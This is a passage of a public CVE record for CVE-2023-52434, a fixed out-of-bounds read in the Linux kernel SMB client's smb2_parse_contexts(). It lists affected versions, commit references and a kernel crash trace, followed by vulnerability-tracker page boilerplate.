              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            },
            {
              "lessThan": "13fb0fc4917621f3dfa285a27eaf7151d770b5e5",
              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            },
            {
              "lessThan": "890bc4fac3c0973a49cac35f634579bebba7fe48",
              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            },
            {
              "lessThan": "1ae3c59355dc9882e09c020afe8ffbd895ad0f29",
              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            },
            {
              "lessThan": "17a0f64cc02d4972e21c733d9f21d1c512963afa",
              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            },
            {
              "lessThan": "af1689a9b7701d9907dfc84d2a4b57c4bc907144",
              "status": "affected",
              "version": "b8c32dbb0deb287a5fcb78251e4eae6c7275760d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/cached_dir.c",
            "fs/smb/client/smb2pdu.c",
            "fs/smb/client/smb2proto.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.277",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.211",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.150",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.7",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.277",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.211",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.150",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.79",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.8",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix potential OOBs in smb2_parse_contexts()\n\nValidate offsets and lengths before dereferencing create contexts in\nsmb2_parse_contexts().\n\nThis fixes following oops when accessing invalid create contexts from\nserver:\n\n  BUG: unable to handle page fault for address: ffff8881178d8cc3\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 4a01067 P4D 4a01067 PUD 0\n  Oops: 0000 [#1] PREEMPT SMP NOPTI\n  CPU: 3 PID: 1736 Comm: mount.cifs Not tainted 6.7.0-rc4 #1\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS\n  rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014\n  RIP: 0010:smb2_parse_contexts+0xa0/0x3a0 [cifs]\n  Code: f8 10 75 13 48 b8 93 ad 25 50 9c b4 11 e7 49 39 06 0f 84 d2 00\n  00 00 8b 45 00 85 c0 74 61 41 29 c5 48 01 c5 41 83 fd 0f 76 55 \u003c0f\u003e b7\n  7d 04 0f b7 45 06 4c 8d 74 3d 00 66 83 f8 04 75 bc ba 04 00\n  RSP: 0018:ffffc900007939e0 EFLAGS: 00010216\n  RAX: ffffc90000793c78 RBX: ffff8880180cc000 RCX: ffffc90000793c90\n  RDX: ffffc90000793cc0 RSI: ffff8880178d8cc0 RDI: ffff8880180cc000\n  RBP: ffff8881178d8cbf R08: ffffc90000793c22 R09: 0000000000000000\n  R10: ffff8880180cc000 R11: 0000000000000024 R12: 0000000000000000\n  R13: 0000000000000020 R14: 0000000000000000 R15: ffffc90000793c22\n  FS: 00007f873753cbc0(0000) GS:ffff88806bc00000(0000)\n  knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: ffff8881178d8cc3 CR3: 00000000181ca000 CR4: 0000000000750ef0\n  PKRU: 55555554\n  Call Trace:\n   \u003cTASK\u003e\n   ? __die+0x23/0x70\n   ? page_fault_oops+0x181/0x480\n   ? search_module_extables+0x19/0x60\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? exc_page_fault+0x1b6/0x1c0\n   ? asm_exc_page_fault+0x26/0x30\n   ? smb2_parse_contexts+0xa0/0x3a0 [cifs]\n   SMB2_open+0x38d/0x5f0 [cifs]\n   ? smb2_is_path_accessible+0x138/0x260 [cifs]\n   smb2_is_path_accessible+0x138/0x260 [cifs]\n   cifs_is_path_remote+0x8d/0x230 [cifs]\n   cifs_mount+0x7e/0x350 [cifs]\n   cifs_smb3_do_mount+0x128/0x780 [cifs]\n   smb3_get_tree+0xd9/0x290 [cifs]\n   vfs_get_tree+0x2c/0x100\n   ? capable+0x37/0x70\n   path_mount+0x2d7/0xb80\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? _raw_spin_unlock_irqrestore+0x44/0x60\n   __x64_sys_mount+0x11a/0x150\n   do_syscall_64+0x47/0xf0\n   entry_SYSCALL_64_after_hwframe+0x6f/0x77\n  RIP: 0033:0x7f8737657b1e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T19:27:16.654Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6726429c18c62dbf5e96ebbd522f262e016553fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/13fb0fc4917621f3dfa285a27eaf7151d770b5e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/890bc4fac3c0973a49cac35f634579bebba7fe48"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ae3c59355dc9882e09c020afe8ffbd895ad0f29"
        },
        {
          "url": "https://git.kernel.org/stable/c/17a0f64cc02d4972e21c733d9f21d1c512963afa"
        },
        {
          "url": "https://git.kernel.org/stable/c/af1689a9b7701d9907dfc84d2a4b57c4bc907144"
        }
      ],
      "title": "smb: client: fix potential OOBs in smb2_parse_contexts()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2023-52434",
    "datePublished": "2024-02-20T18:04:44.006Z",
    "dateReserved": "2024-02-20T12:30:33.290Z",
    "dateUpdated": "2026-05-11T19:27:16.654Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CERTFR-2024-AVI-1013

Solutions

CVE-2021-47188 (GCVE-0-2021-47188)

CVE-2021-47212 (GCVE-0-2021-47212)

CVE-2022-36402 (GCVE-0-2022-36402)

CVE-2022-48666 (GCVE-0-2022-48666)

CVE-2022-48733 (GCVE-0-2022-48733)

CVE-2022-48791 (GCVE-0-2022-48791)

CVE-2022-48863 (GCVE-0-2022-48863)

CVE-2022-48938 (GCVE-0-2022-48938)

CVE-2022-48943 (GCVE-0-2022-48943)

CVE-2023-52434 (GCVE-0-2023-52434)

Tags

Sightings

Nomenclature